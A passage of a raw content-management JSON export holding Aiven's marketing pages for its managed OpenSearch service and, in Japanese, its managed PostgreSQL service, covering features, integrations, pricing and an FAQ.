Aiven","variant":"header-left"},{"_key":"a7e986acc25f","_type":"cardList","align":"center","disabled":false,"fullWidth":false,"id":"references","items":[{"_key":"aae73518553c","_type":"cardItem","subtitle":[{"_key":"0cee05488442","_type":"block","children":[{"_key":"6f50a0444f0a0","_type":"span","marks":[],"text":"Store, search, and analyze logs at scale with OpenSearch. Use built in integrations to receive logs from any other Aiven service, or draw on a rich ecosystem of tools – from Beats to Logstash – to pull logs from any external solutions. Create rich dashboards and analysis with OpenSearch dashboards."}],"markDefs":[],"style":"normal"}],"title":"Logs management","variant":"default"},{"_key":"933290cccacf","_type":"cardItem","subtitle":[{"_key":"28137e7953d5","_type":"block","children":[{"_key":"4e162dcccb480","_type":"span","marks":[],"text":"Full text search is one of the core capabilities of OpenSearch. Enhance your enterprise applications, websites or e-commerce search capabilities with a powerful, flexible search engine with built-in capabilities such as auto-complete, “Did you mean” responses, and more."}],"markDefs":[],"style":"normal"}],"title":"Search","variant":"default"},{"_key":"0ed315473e1d","_type":"cardItem","subtitle":[{"_key":"67c16a167184","_type":"block","children":[{"_key":"232b1e7b06830","_type":"span","marks":[],"text":"Aggregations let you tap into OpenSearch’s analytics engine to analyze your data and extract statistics. Analyze data in real time or use OpenSearch Dashboards for visualizations. OpenSearch performs aggregations on massive datasets in milliseconds."}],"markDefs":[],"style":"normal"}],"title":"Analytics","variant":"default"}],"rounded":false,"tagline":"Customer use cases","title":"How Aiven customers use OpenSearch"},{"_key":"f4e2cb30eaf6","_type":"textColumn","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"features","rounded":false,"tagline":"Features","title":"Key features of Aiven for OpenSearch","variant":"centerColumn"},{"_key":"b3c61d1d32f4faf97c0a21c456589e75","_type":"textVideo","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false,"tagline":"Set up","text":[{"_key":"d70e73f94176","_type":"block","children":[{"_key":"c6887f8c6ec40","_type":"span","marks":[],"text":"Production-ready OpenSearch clusters in 10 minutes"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"38f6124d526a","_type":"block","children":[{"_key":"e57574c1be180","_type":"span","marks":[],"text":"Deploy to the cloud of your choice – 5 public clouds and +100 regions supported"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"202bb48bf259","_type":"block","children":[{"_key":"fb75f132d2280","_type":"span","marks":[],"text":"High performance clusters based on carefully selected instance types and storage options"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0ded60d3b0f6","_type":"block","children":[{"_key":"68ca91043d020","_type":"span","marks":[],"text":"High availability clusters (3 or more nodes) spread across cloud providers availability zones"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"655f10b5dab1","_type":"block","children":[{"_key":"5900aba5255e0","_type":"span","marks":["bf3d6f499c78"],"text":"Bring-your-own-cloud (BYOC)"},{"_key":"5900aba5255e1","_type":"span","marks":[],"text":" deployment model supported for strict control requirements"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"bf3d6f499c78","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/byoc"}],"style":"normal"}],"title":"Flexible, fast and stress-free","variant":"mediaLeft","ytId":"WLk_vz-13og"},{"_key":"85009f410ade83c5a2683908777f1823","_type":"textVideo","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"noSpaceBottom":true,"rounded":false,"tagline":"Connect","text":[{"_key":"a510586649d9","_type":"block","children":[{"_key":"b98b57b454cd0","_type":"span","marks":[],"text":"Receive logs from your application infrastructure - e.g. all other Aiven services - for quick search and troubleshooting"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"37950341c274","_type":"block","children":[{"_key":"a7899de684530","_type":"span","marks":["ae8ed74d7d32"],"text":"15+ OpenSearch plugins"},{"_key":"a7899de684531","_type":"span","marks":[],"text":" available for advanced analytics, SQL support, reporting, alerting and more"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ae8ed74d7d32","_type":"link","href":"https://docs.aiven.io/docs/products/opensearch/reference/plugins.html#included-plugins"}],"style":"normal"},{"_key":"42dc55b001cd","_type":"block","children":[{"_key":"56fd92af5fee0","_type":"span","marks":[],"text":"You can continue using tools and libraries familiar to you, such as cURL or clients for Python, Go, and NodeJS."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3b9ce388878a","_type":"block","children":[{"_key":"42fc720ab1cc0","_type":"span","marks":[],"text":"Secure network connectivity using "},{"_key":"42fc720ab1cc1","_type":"span","marks":["8e90d1fb9b4d"],"text":"VPC peering"},{"_key":"42fc720ab1cc2","_type":"span","marks":[],"text":", "},{"_key":"42fc720ab1cc3","_type":"span","marks":["8d72055a584d"],"text":"PrivateLink"},{"_key":"42fc720ab1cc4","_type":"span","marks":[],"text":" or TransitGateway technologies"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"8e90d1fb9b4d","_type":"link","href":"https://help.aiven.io/en/articles/778836-using-virtual-private-cloud-vpc-peering"},{"_key":"8d72055a584d","_type":"link","href":"https://docs.aiven.io/docs/tools/cli/service/privatelink"}],"style":"normal"},{"_key":"4b6620f211a1","_type":"block","children":[{"_key":"bdf6a19163f90","_type":"span","marks":["7d7a271ef446"],"text":"Integrate"},{"_key":"84c37b8585c5","_type":"span","marks":[],"text":" with your favorite observability tooling — from Datadog to Prometheus, Jolokia, and more — or use Aiven "},{"_key":"31d8d3477c43","_type":"span","marks":["5df663e868c7"],"text":"observability tools"},{"_key":"03a7df7c2c2b","_type":"span","marks":[],"text":" for enhanced monitoring and logging"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"7d7a271ef446","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"}},{"_key":"5df663e868c7","_type":"internalLink","internalLink":{"_ref":"4ffa575d-3214-4ed9-982c-6ee1b82bb5dd","_type":"reference"}}],"style":"normal"}],"title":"Integrate with your data infrastructure","variant":"mediaRight","ytId":"NOxaof5qcys"},{"_key":"b54ccb18eefa","_type":"textVideo","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"noSpaceBottom":true,"rounded":false,"tagline":"Control","text":[{"_key":"45b97a8f6bce","_type":"block","children":[{"_key":"e4ce402676950","_type":"span","marks":[],"text":"Manage your OpenSearch cluster using Aiven Console (GUI), "},{"_key":"e4ce402676951","_type":"span","marks":["ba932688f305"],"text":"CLI"},{"_key":"e4ce402676952","_type":"span","marks":[],"text":", Terraform tools"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ba932688f305","_type":"link","href":"https://docs.aiven.io/docs/tools/cli"}],"style":"normal"},{"_key":"f35b8501b3a9","_type":"block","children":[{"_key":"ac18849dc9c60","_type":"span","marks":[],"text":"Scale, fork databases, integrate to other services with the click of a mouse"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f816619edfd0","_type":"block","children":[{"_key":"20fd7f741f7e0","_type":"span","marks":[],"text":"Guaranteed compatibility with "},{"_key":"36d9a1705ac8","_type":"span","marks":["f8c9d8d96b54"],"text":"open source software"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"f8c9d8d96b54","_type":"internalLink","internalLink":{"_ref":"227fce02-f6f1-4e82-a166-820dac2c21f5","_type":"reference"}}],"style":"normal"},{"_key":"408ce73cb2ef","_type":"block","children":[{"_key":"ec90aaac20d80","_type":"span","marks":[],"text":"Migrate easily between clouds and regions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"DevOps-friendly management and development","variant":"mediaLeft","ytId":"3lGfdjZkJkY"},{"_key":"c48ee4ff96855f5b9f1c0870730c31aa","_type":"textVideo","addSpaceBottom":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"noSpaceBottom":false,"rounded":false,"tagline":"Enjoy","text":[{"_key":"9a90c7a70d71","_type":"block","children":[{"_key":"cfa1955abd640","_type":"span","marks":[],"text":"Visualize your data with built-in OpenSearch Dashboards"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a68190ef1388","_type":"block","children":[{"_key":"994a0bf7bedf0","_type":"span","marks":[],"text":"Self-healing platform with 99.99% uptime and zero downtime during management operations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"df76f8938772","_type":"block","children":[{"_key":"3e3f8171bc8b0","_type":"span","marks":[],"text":"Automatic daily / hourly backups depending on your plan"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"af654a033d6e","_type":"block","children":[{"_key":"1e7dee4a4bd50","_type":"span","marks":["0f243f4a4a87"],"text":"Secure and compliant solution"},{"_key":"33f5a950f8ea","_type":"span","marks":[],"text":" - ISO 27001:2013, SOC2, GDPR, HIPAA and PCI/DSS"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"0f243f4a4a87","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5","_type":"reference"}}],"style":"normal"},{"_key":"8f8f94d78201","_type":"block","children":[{"_key":"f5594ace60020","_type":"span","marks":[],"text":"Option for 24/7 "},{"_key":"7ad54adeda0b","_type":"span","marks":["ac3a210521d6"],"text":"support"},{"_key":"16db6cc4f9a7","_type":"span","marks":[],"text":" from a 100% human support team"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ac3a210521d6","_type":"internalLink","internalLink":{"_ref":"17d882dc-fcff-4bab-b539-c811e713bfa7","_type":"reference"}}],"style":"normal"}],"title":"Search, analyze and visualize – with peace of mind","variant":"mediaRight","ytId":"6cTUkeP7p30"},{"_key":"f87f714443e0","_type":"textColumn","addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-cf42456a998b3003859e724ee166dc968d52fc4a-1440x367-svg","_type":"reference"}},"darkTheme":true,"disabled":false,"fullWidth":true,"primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"rounded":false,"title":"Get your first cluster online now","variant":"centerColumn"},{"_key":"df9c7d29f1a7","_type":"cardList","addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":true,"fullWidth":true,"id":"pricing","items":[{"_key":"1c5e376ed538","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/pricing?product=opensearch\u0026tab=plan-pricing","title":"Show me the plans"},"subtitle":[{"_key":"f9aad469355f","_type":"block","children":[{"_key":"fa8437658ced0","_type":"span","marks":[],"text":"Starting at just $19 a month, prices vary based on the number of nodes and your storage needs. Hourly billing saves you money. Change your plan anytime at no extra cost."}],"markDefs":[],"style":"normal"}],"title":"Compare plans","variant":"default"}],"rounded":false,"subtitle":[{"_key":"af8633c94475","_type":"block","children":[{"_key":"62b62746236f0","_type":"span","marks":[],"text":"All-inclusive OpenSearch pricing with no end-of-the-month surprises. No add-on maintenance, networking, or storage fees. Private networking (VPC), single-tenant, and high-availability multi-AZ available."}],"markDefs":[],"style":"normal"}],"tagline":"Pricing plans","title":"Scale up or down. Pay only for what you use."},{"_key":"5f26efa8cf996c1e57508f6579fe61c6","_type":"pricing","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"id":"pricing","noSpaceBottom":false,"noSpaceTop":false,"rounded":true,"service":{"_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"},"subtitle":[{"_key":"06a7188e535e","_type":"block","children":[{"_key":"61b0b76cd95a","_type":"span","marks":[],"text":"All-inclusive OpenSearch pricing with no end-of-the-month surprises. No add-on maintenance, networking, or storage fees. Private networking (VPC), single-tenant, and high-availability multi-AZ available."}],"markDefs":[],"style":"normal"}],"tagline":"Pricing plans","title":"Scale up or down. Pay only for what you use.","variant":"single-service"},{"_key":"1506e2957639","_type":"accordion","disabled":false,"fullWidth":true,"id":"faq","isFaqAccordion":true,"items":[{"_key":"0c2f8fea2bf8","_type":"accordionItem","id":"opensearch","panelText":[{"_key":"ee1456edcb6b","_type":"block","children":[{"_key":"47677f0e53050","_type":"span","marks":[],"text":"OpenSearch is an open source search and analytics suite forked from Elasticsearch 7.10.2 and Kibana 7.10.2. The suite includes the user interface, OpenSearch Dashboards, and OpenSearch Plugins. "}],"markDefs":[],"style":"normal"},{"_key":"ea646f8c3900","_type":"block","children":[{"_key":"d2f811b4d325","_type":"span","marks":[],"text":"Elastic, the company behind Elasticsearch and Kibana, introduced changes to their licensing policies restricting third parties from offering Elasticsearch as a service. OpenSearch was forked from Elasticsearch to maintain an open source offering."}],"markDefs":[],"style":"normal"}],"title":"What is OpenSearch?"},{"_key":"fc3d2ed76cce","_type":"accordionItem","id":"elasticsearch","panelText":[{"_key":"b337cfb72481","_type":"block","children":[{"_key":"a4a8718cabd80","_type":"span","marks":[],"text":"OpenSearch is forked from Elasticsearch and is fully compatible with ElasticSearch 7.0. There are some differences to note which you can "},{"_key":"a4a8718cabd81","_type":"span","marks":["51c6ec068b9a"],"text":"read about in this help article"},{"_key":"a4a8718cabd82","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"51c6ec068b9a","_type":"link","href":"https://docs.aiven.io/docs/products/opensearch/concepts/opensearch-vs-elasticsearch"}],"style":"normal"}],"title":"How does OpenSearch differ from Elasticsearch?"},{"_key":"fa81035fa92d","_ref":"3ba8da80-d664-4401-91f9-29456eb6afb3","_type":"reference"},{"_key":"4bf4b90fe47f","_ref":"0b77eaf5-e527-4e87-b5cf-f8162e087aee","_type":"reference"},{"_key":"6ac94553eca4","_ref":"7d42d7bd-4109-42b7-b1de-b09cad1e1c55","_type":"reference"},{"_key":"3fd366043a4f","_ref":"eb3f00a1-cbb4-4ab2-bd42-961369ca95ec","_type":"reference"}],"rounded":false,"title":"FAQ"},{"_key":"cf168a4da3de","_type":"cardList","align":"center","disabled":false,"fullWidth":true,"id":"resources","items":[{"_key":"de5c0fc00e2e","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/opensearch","title":"Go to docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-6e59ce95700f17f77378a0019ccae5bfb3aead41-991x527-jpg","_type":"reference"}},"subtitle":[{"_key":"a653fb645d68","_type":"block","children":[{"_key":"5409994658fe0","_type":"span","marks":[],"text":"Getting started with Aiven for OpenSearch, core concepts, how-to's, and more."}],"markDefs":[],"style":"normal"}],"tagline":"Aiven Docs","title":"Documentation","variant":"default"},{"_key":"cd879ee75d80","_ref":"ABeD3aNbvwjtqXaZk6hiP","_type":"reference"},{"_key":"b68ebe1628f6","_ref":"6ZvCHgvqQ4LdO9pcFMB13H","_type":"reference"}],"rounded":false,"tagline":"Resources","title":"Learn more about Aiven for OpenSearch"}],"infoBanner":{"_ref":"8cf966f6-1027-4df1-9ff1-26078db32eff","_type":"reference"},"seo":{"_type":"metaData","metaDescription":"Aiven for OpenSearch® – Fully managed, maintenance-free search and analytics suite. The open source, high performance Elasticsearch alternative to query and visualise your data, deployable on all major clouds.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-01b60df4f51dd917fa83609560877831bdba98b8-1200x630-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven for OpenSearch®\",\n \"@type\": \"SoftwareApplication\",\n \"@context\": \"http://schema.org\",\n \"keywords\": \"Managed OpenSearch, OpenSearch as a Service, Cloud OpenSearch, Elasticsearch alternative\",\n \"description\": \"Aiven for OpenSearch is a managed and hosted cloud solution for your document and full-text search needs available on Google Cloud Platform, Amazon Web Services, Microsoft Azure, DigitalOcean and UpCloud.\",\n \"featureList\": \"OpenSearch Dashboards, OpenSearch plugins, Terraform support, Datadog integration, VPC peering, REST API, Command line tooling, High availability, Available in Google Cloud Platform, Available in Amazon Web Services, Available in Microsoft Azure, Available in DigitalOcean\",\n \"softwareHelp\": {\n \"url\": \"https://docs.aiven.io/opensearch\",\n \"@type\": \"CreativeWork\"\n },\n \"operatingSystem\": \"N/A\",\n \"applicationCategory\": \"Open Source distributed document and full-text index\",\n \"applicationSubCategory\": \"Non-relational database\"\n}","metaTitle":"Managed OpenSearch® | Aiven"},"service":{"_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"},"slug":{"_type":"slug","current":"/opensearch"},"title":"OpenSearch"} {"__i18n_base":{"_ref":"a829737a-0ab2-4037-a7af-be5f9a4f82cf","_type":"reference"},"__i18n_lang":"ja","_createdAt":"2022-09-17T19:24:14Z","_id":"a829737a-0ab2-4037-a7af-be5f9a4f82cf__i18n_ja","_rev":"jVH4MF99ugSidFLyku0x8N","_type":"product","_updatedAt":"2024-08-23T10:43:09Z","content":[{"_key":"4e8702daeb69","_type":"hero","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"breadcrumbs":{"currentPage":"Aiven for PostgreSQL®","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de__i18n_ja","_type":"reference"},"title":"Aivenプラットフォーム"}},"description":[{"_key":"fdeeec095d2a","_type":"block","children":[{"_key":"90c416ce65d80","_type":"span","marks":[],"text":"AivenがホスティングするフルマネージドのPostgreSQLは、高いパフォーマンスと必要なすべての拡張機能を提供しています。"}],"markDefs":[],"style":"normal"}],"disabled":false,"hostProviders":[{"_key":"578ed7310c27","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"7b338cc11703","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"f648e8c506f2","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"1c146859ce27","_ref":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_type":"reference"},{"_key":"7ed3933a65a3","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"reference"}],"id":"hero","image":{"_type":"mainImage","asset":{"_ref":"image-134aa54917f7130de0756fb38e637c920de80d35-1600x1074-png","_type":"reference"}},"primaryCTA":{"_type":"link","caption":"クレジットカードの登録は不要です。","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/products/postgresql","title":"ドキュメントを見る"},"tagline":"マネージド&ホスティング","title":"Aiven for PostgreSQL®","variant":"default"},{"_key":"5182ebbb04f3","_type":"scrollSpyNavigation","disabled":false,"fullWidth":false,"items":[{"_key":"8f43b5b64eae","_type":"scrollSpyNavItem","sectionId":"works","title":"機能"},{"_key":"56a49faaf61d","_type":"scrollSpyNavItem","sectionId":"benefits","title":"メリット"},{"_key":"d74c953c2b19","_type":"scrollSpyNavItem","sectionId":"references","title":"お客様の活用事例"},{"_key":"dad3ec5d64ff","_type":"scrollSpyNavItem","sectionId":"pricing","title":"価格"},{"_key":"f80f76f74ee8","_type":"scrollSpyNavItem","sectionId":"features","title":"機能紹介"},{"_key":"8af4fd351767","_type":"scrollSpyNavItem","sectionId":"resources","title":"リソース"},{"_key":"fc6e049ee9a3","_type":"scrollSpyNavItem","sectionId":"faq","title":"よくある質問"}],"logo":{"_type":"mainImage","asset":{"_ref":"image-1e41c5eca58a19a523cfc3597c6ff0f3baf71ea4-64x64-svg","_type":"reference"}},"logoLink":{"_type":"link","internalLink":{"_ref":"a829737a-0ab2-4037-a7af-be5f9a4f82cf__i18n_ja","_type":"reference"},"title":"Aiven for PostgreSQL®"},"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"title":"Aiven for Apache PostgreSQL®"},{"_key":"6915a9c7174f","_type":"serviceDiagram","disabled":false,"fullWidth":true,"id":"works","rounded":false,"steps":[{"_key":"7764be2f4957","_type":"textItem","content":[{"_key":"7736bb7442c5","_type":"block","children":[{"_key":"29b3a28bdf470","_type":"span","marks":[],"text":"Aiven for PostgreSQLで高度なアプリケーションを構築"}],"markDefs":[],"style":"h3"},{"_key":"a79d0fe85e9d","_type":"block","children":[{"_key":"0c3c0f4b3ce50","_type":"span","marks":[],"text":"お客様が選んだクラウドにデプロイできるフルマネージドのSQLリレーショナルデータベースです。信頼性、充実した機能、非常に高いパフォーマンスで知られています。位置情報サービスやミッションクリティカルなビジネスアプリケーション、一般的なトランザクションデータベースなど、ほとんどのユースケースに適しています。"}],"markDefs":[],"style":"normal"},{"_key":"a84742d02e69","_type":"block","children":[{"_key":"4da4eb6745ee0","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"29f859619680","_type":"block","children":[{"_key":"9f25efdb6c880","_type":"span","marks":["0a57199768ae"],"text":"Aiven for PostgreSQL入門(ドキュメント)"}],"markDefs":[{"_key":"0a57199768ae","_type":"link","href":"https://aiven.io/docs/products/postgresql/get-started"}],"style":"normal"},{"_key":"5befd54803d4","_type":"block","children":[{"_key":"15089505ecf40","_type":"span","marks":["130f54c16067"],"text":"PostgreSQLとは(ブログ)"}],"markDefs":[{"_key":"130f54c16067","_type":"internalLink","internalLink":{"_ref":"145w1kDoj7UfbaINvzIOg9","_type":"reference"}}],"style":"normal"},{"_key":"0ba7e3a661a9","_type":"block","children":[{"_key":"aab7f1a33cdb0","_type":"span","marks":["8020a308a7d2"],"text":"Aiven for PostgreSQLのテスト用サンプルデータセット(ブログ)"}],"markDefs":[{"_key":"8020a308a7d2","_type":"internalLink","internalLink":{"_ref":"5HvSGI64xMitqiheeX6a66","_type":"reference"}}],"style":"normal"}]},{"_key":"680f378ade94","_type":"textItem","content":[{"_key":"a479d016932a","_type":"block","children":[{"_key":"4fcb17887e7d0","_type":"span","marks":[],"text":"柔軟なリードレプリカの作成"}],"markDefs":[],"style":"h3"},{"_key":"1740e2c90048","_type":"block","children":[{"_key":"baa77be57d090","_type":"span","marks":[],"text":"ディザスタリカバリや地理的な近接性のために、データを他のリージョンやクラウドに複製します - マルチクラウドアーキテクチャの構築も可能です。標準の高可用性プランでも、1台または2台のスタンバイノードが搭載されており、これらは自動的なリードレプリカとしても機能します。"}],"markDefs":[],"style":"normal"},{"_key":"46abc68b4583","_type":"block","children":[{"_key":"6bf29b7a510a0","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"f7bfb774ab50","_type":"block","children":[{"_key":"be735d6d3d420","_type":"span","marks":["5ea5fca79534"],"text":"読み取り専用レプリカの作成と使用方法(ドキュメント)"}],"markDefs":[{"_key":"5ea5fca79534","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/howto/create-read-replica"}],"style":"normal"},{"_key":"9abc4a1a5618","_type":"block","children":[{"_key":"046271ee70bf0","_type":"span","marks":["04a72df562e3"],"text":"Aivenによる高可用性プラン(ドキュメント)"}],"markDefs":[{"_key":"04a72df562e3","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/concepts/high-availability"}],"style":"normal"}]},{"_key":"5627270af86a","_type":"textItem","content":[{"_key":"610307039979","_type":"block","children":[{"_key":"034d944b55470","_type":"span","marks":[],"text":"PostgreSQLと他のAivenサービスとの連携"}],"markDefs":[],"style":"h3"},{"_key":"5a336e91b992","_type":"block","children":[{"_key":"58cdd8f46c540","_type":"span","marks":[],"text":"イベントストリーミングサービスAiven for Apache KafkaやFlinkとPostgreSQLをビルトインコネクタで簡単に接続することができます。Aiven for ClickHouseの統合は、PostgreSQLからのフェデレーションクエリをサポートしています。また、Aiven for RedisをPostgreSQLのキャッシュとして使用し、特定のユースケースでパフォーマンスを最適化することができます。"}],"markDefs":[],"style":"normal"},{"_key":"515f2cd1850b","_type":"block","children":[{"_key":"0dae282a206d0","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"ca79e5fd3f7b","_type":"block","children":[{"_key":"14f504ce4a4f0","_type":"span","marks":["4ab816b6c405"],"text":"Aiven for Apache Kafka(Webページ)"}],"markDefs":[{"_key":"4ab816b6c405","_type":"internalLink","internalLink":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5__i18n_ja","_type":"reference"}}],"style":"normal"},{"_key":"649b030137bf","_type":"block","children":[{"_key":"efb2daa7e37b0","_type":"span","marks":["f8afc87e77fa"],"text":"Aiven for Apache Flink(Webページ)"}],"markDefs":[{"_key":"f8afc87e77fa","_type":"internalLink","internalLink":{"_ref":"53f983e1-0b44-4570-8e1d-2f495cea3f7c__i18n_ja","_type":"reference"}}],"style":"normal"},{"_key":"d0507357eae3","_type":"block","children":[{"_key":"9334e6f899290","_type":"span","marks":["904bfee37080"],"text":"Aiven for Redis(Webページ)"}],"markDefs":[{"_key":"904bfee37080","_type":"internalLink","internalLink":{"_ref":"13512903-e091-4cd8-9625-d942418d75d2__i18n_ja","_type":"reference"}}],"style":"normal"}]},{"_key":"b4cd2ac7dbf7","_type":"textItem","content":[{"_key":"bcf836d4d41f","_type":"block","children":[{"_key":"34a324afc4e90","_type":"span","marks":[],"text":"お気に入りの外部ロギング・監視ツールと統合可能"}],"markDefs":[],"style":"h3"},{"_key":"8a729e5ec147","_type":"block","children":[{"_key":"014126be041d0","_type":"span","marks":[],"text":"Datadog、Prometheus、AWS CloudWatch、Elasticsearchなどのツール、または、Aiven for M3、Aiven for Grafana、Aiven for OpenSearchと簡単に統合して、監視とロギングを強化できます。PostgreSQLクラスターの健全性を監視するために、サーバまたはサービス固有のメトリクスを外部エンドポイントに公開します。"}],"markDefs":[],"style":"normal"},{"_key":"1b2627c09859","_type":"block","children":[{"_key":"3104d2ada0970","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"291aac53dacd","_type":"block","children":[{"_key":"e88e3fed22310","_type":"span","marks":["384a9b4c7dc8"],"text":"統合機能入門(ドキュメント)"}],"markDefs":[{"_key":"384a9b4c7dc8","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/howto/list-integrations"}],"style":"normal"},{"_key":"b9cc835c8208","_type":"block","children":[{"_key":"ea43591f1c3a0","_type":"span","marks":["2baf3aca8dc9"],"text":"Aiven製品すべての統合機能(Webページ)"}],"markDefs":[{"_key":"2baf3aca8dc9","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4__i18n_ja","_type":"reference"}}],"style":"normal"},{"_key":"93541a6de214","_type":"block","children":[{"_key":"c1e758b1e95c0","_type":"span","marks":["eded71bd037b"],"text":"Datadog入門(ドキュメント)"}],"markDefs":[{"_key":"eded71bd037b","_type":"link","href":"https://docs.aiven.io/docs/integrations/datadog/datadog-metrics"}],"style":"normal"},{"_key":"97ae75bde1c5","_type":"block","children":[{"_key":"11bc141c560c0","_type":"span","marks":["307fc41dd254"],"text":"Rsyslogプロトコル - 外部監視システムとの統合(ドキュメント)"}],"markDefs":[{"_key":"307fc41dd254","_type":"link","href":"https://docs.aiven.io/docs/integrations/rsyslog"}],"style":"normal"}]}],"subtitle":[{"_key":"99149a7a5e04","_type":"block","children":[{"_key":"37a7e4fc231e0","_type":"span","marks":[],"text":"Webコンソールから直接、またはAPI、CLI、Terraformプロバイダー、Kubernetes Operatorを介してプログラムコードによって、10分以内にフルマネージドPostgreSQLをセットアップすることができます。また、異なるパブリッククラウドやリージョンに追加のリードレプリカを作成し、マルチクラウドアーキテクチャを構築することも可能です。ポイントインタイムリカバリ(PITR)により、選択した保存期間内の任意の時点にデータを復元することができます。"}],"markDefs":[],"style":"normal"}],"tagline":"機能","title":"Aiven for PostgreSQLでできること","tools":[{"_key":"92b284cfbd63","_ref":"5e27c945-a56b-494c-93a1-0279742d2b50","_type":"reference"},{"_key":"33266d75cf7f","_ref":"8986d4de-d1f0-456a-9b22-94d18130dded","_type":"reference"},{"_key":"c7fa5242c650","_ref":"77ebe529-c4c8-4bf6-be6b-26668ab82d7e","_type":"reference"},{"_key":"a9ee6c94ef40","_ref":"010e0529-1647-42bc-8e77-1aa50a4a1cb8","_type":"reference"},{"_key":"55adcdf2bb68","_ref":"7c2f7eec-06ee-4fc5-ad8c-446822dae6c2","_type":"reference"},{"_key":"5d1d6dfb7a10","_ref":"3a2594cd-0289-4c52-9b6a-cf81f475498d","_type":"reference"}],"toolsTitle":"必要なツールで管理する","variant":"pg"},{"_key":"25d1de3d2695","_type":"iconList","addSpaceBottom":true,"addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"iconSize":24,"icons":[{"_key":"5d7c4d5ec748","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c368f51b75e646afb9e988f72627e49f7a0bc862-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"3e379de3170c","_type":"block","children":[{"_key":"e54f806882290","_type":"span","marks":[],"text":"クラスタにメンテナンスアップデートやバージョンアップを適用することに時間を取られていませんか。Aivenのダッシュボードから、これらの操作をワンクリックで実行できます。中断やダウンタイムが発生することはありません。"}],"markDefs":[],"style":"normal"}],"title":"自動アップデート、自動アップグレードによりストレスゼロ"},{"_key":"9e7bd37ad46c","_type":"iconItem","iconImage":{"_type":"main